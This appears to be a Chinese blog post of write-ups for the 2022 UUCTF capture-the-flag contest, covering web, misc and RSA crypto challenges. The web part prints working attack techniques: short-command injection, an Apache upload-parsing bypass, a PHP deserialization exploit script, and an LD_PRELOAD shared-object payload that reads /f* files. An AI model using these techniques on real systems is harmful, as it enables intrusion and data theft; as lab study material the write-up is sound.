首页 > 其他分享 >填坑-1

填坑-1

时间:2022-11-09 20:22:28浏览次数:56  
标签:flag echo 填坑 print import php data

目录

2022UUCTF-WEB

1.ez_rce

考查6字符rce(短字符命令执行)
经测试,发现输入的命令不能超过6个字符
这里扫描后台发现post.php
img
我们这里echo一下看看有什么回显
img
说明上传的文件在tmp下,上传会自动创建该目录,超过长度会自动删除该目录
这里尝试使用>nl (创建一个名为nl的文件,cat也可以)
然后接* />a (第一个:Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数;第二个:/表示根目录下所有文件)
因此这里的意思相当于将nl /*写入文件a中,因为只有flag是文件形式储存而其他都储存在文件夹下,因此只有看到了flag的内容
回显显示失败,但去目录下却得到了flag??
img
看来回显有时候也会骗人0.0

2.ez_upload

apache解析漏洞,但并不是简单地上传一个a.php.jpg的文件进行绕过,虽然考查的确实是文件名解析
这里源码对文件类型进行了检测并且对.设置了截断的规则,并且设置了黑名单数组
上传图片马添加php后缀配合apache自右向左的解析规则解题即可
img
img
img

3.ezpop

考查反序列化字符串逃逸
exp:

<?php
class UUCTF{
public $name,$key,$basedata,$ob;
}
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd;
}
$a=new nothing;
$a->a=&$a->b;
$a->t=new output;
$a->t->a=new youwant;
$a->t->a->cmd="phpinfo();";
$run=new UUCTF();
$run->name='1';
$run->key='UUCTF';
$run->basedata=base64_encode(serialize($a));
$string=serialize($run);
echo $string.PHP_EOL;
$string=substr($string,32);
for($i=0;$i<strlen($string);$i++){
$e.="hacker";
}
$e=$e.$string;
echo "payload <br>:".PHP_EOL.$e;
?>

4.phonecode

考查php伪随机数
其实题目也给了提示“下一次必命中”
img
这里随便打个手机号和验证码试试
img
img
这个hint长度...
直接写一个最简单的脚本验证一下猜想
img
说明的确是伪随机数
这里主要是要理解题目的意思,下一次必命中,那么用下一次伪随机数的值当验证码就好了
img

5.backdoor

布里茨贼猛=>robots.txt=>提示www.zip备份文件=>下载
img
有个backdoor.php,但看不了
有个so文件(Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据)
那ida反编译看一下
看到一个加密函数
img
网上(github)搜一下
img
https://github.com/lihancong/tonyenc
里面给了用法:
img
找一下相关位置的
img
img
据此写解密脚本

import base64
header=[
    0x66, 0x88, 0xff, 0x4f,
    0x68, 0x86, 0x00, 0x56,
    0x11, 0x61, 0x16, 0x18,
]
key=[
    0x9f, 0x58, 0x54, 0x00,
    0x58, 0x9f, 0xff, 0x23,
    0x8e, 0xfe, 0xea, 0xfa,
    0xa6, 0x35, 0xf3, 0xc6]
def decode(data,len):
    p =0
    for i in range(0,len):
        if (i & 1):
            p += key[p] + i;
            p %= 16;
            t = key[p];
            data[i] = ~data[i]^t;
            if data[i] < 0:
                data[i]=data[i]+256
                decode = "".join([chr(c) for c in data])
                return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))

解密后得到backdoor.php中的内容,执行system命令查看flag即可

6.uploadandinject

环境变量注入
img
给到两条提示,依次查看
1.
img
2.
img
img
这里需要知道一点:swp文件为vim异常退出的备份文件
把备份文件下载下来去linux里面恢复

vi -r index.php.swp

img

$PATH=$_GET["image_path"];
if((!isset($PATH))){
    $PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
  if(file_exists($img_path)){
    putenv("LD_PRELOAD=/var/www/html/$img_path");
    system("echo Success to load");
    echo "<br><img src=$img_path>";
  }else{
    system("echo Failed to load ");
  }
}

exp.c:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("cat /f*");
}

在linux里编译为os文件

gcc -shared -fPIC exp.c -o exp.so

test.so改后缀名test.jpg之后读取
img

2022UUCTF-MISC

1.村中奇怪的故事

百家姓解密....奇怪的加密增加了
将文本中出现的姓氏依次记录(包括水), 进行解密得到flag

2.蜜蜂和蛆

crc32爆破
对两个文档分别crc32爆破

python crc32.py reverse 0xe9c8c87d
python crc32.py reverse 0x105612c3

拼接得到压缩包密码
img
得到一张图片,感觉高不对
img
焯,扫不了码
查了才知道:
img
得把王八p了
img
挺ex的。。。
img

2022UUCTF-CRYPTO

1.unsafe_prime

task.py:

from Crypto.Util.number import *
from flag import flag
import libnum
p=getPrime(1024)
n=p**3
e=65537
c=pow(libnum.s2n(flag),e,n)
print(n)
print(c)
#1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731
#1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224

开立方求p即可
脚本:

import gmpy2
from Crypto.Util.number import *
n = 1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731
c = 1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224
e = 65537
p=gmpy2.iroot(n,3)[0]
phi=p**3-p**2
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

涉及知识点:
img
欧拉函数的性质
img

2.简单的数学

task.py:

from Crypto.Util.number import *
import libnum
from flag import flag
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p*q
k = getRandomNBitInteger(20)
c=pow(libnum.s2n(flag)*p+k*n,e,n)
print(n)
print(k)
print(c)
'''
25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233
930971
21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
'''

这里主要运用了多项式定理展开的性质去解决问题
这里第一项为 ( m ⋅ p ) ^e ,最后一项为 ( k ⋅ n ) ^e
但除了第一项其余每一项mod n都为0
因此
exp:

from Crypto.Util.number import *
import gmpy2
n = 25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233
k = 930971
e = 65537
c = 21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
p = gmpy2.gcd(n,c)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n) // p
print(long_to_bytes(m))

总结

确实还有许多许多要学的东西,有兴趣在其实多难都不可怕。非常想参加更多的比赛去见更多新颖的题目和各种出题人的骚操作,但是前提是有那个实力,填完这次的坑,可能很久以后会再出这个系列了,接下来的一段时间先去各大刷题平台刷题巩固基础去了,可能除了一些知识积累性的题目需要写博客来记录,其余时间应该就不会再浪费在写博客上了。

标签:flag,echo,填坑,print,import,php,data
From: https://www.cnblogs.com/perfectcqf/p/16867338.html

相关文章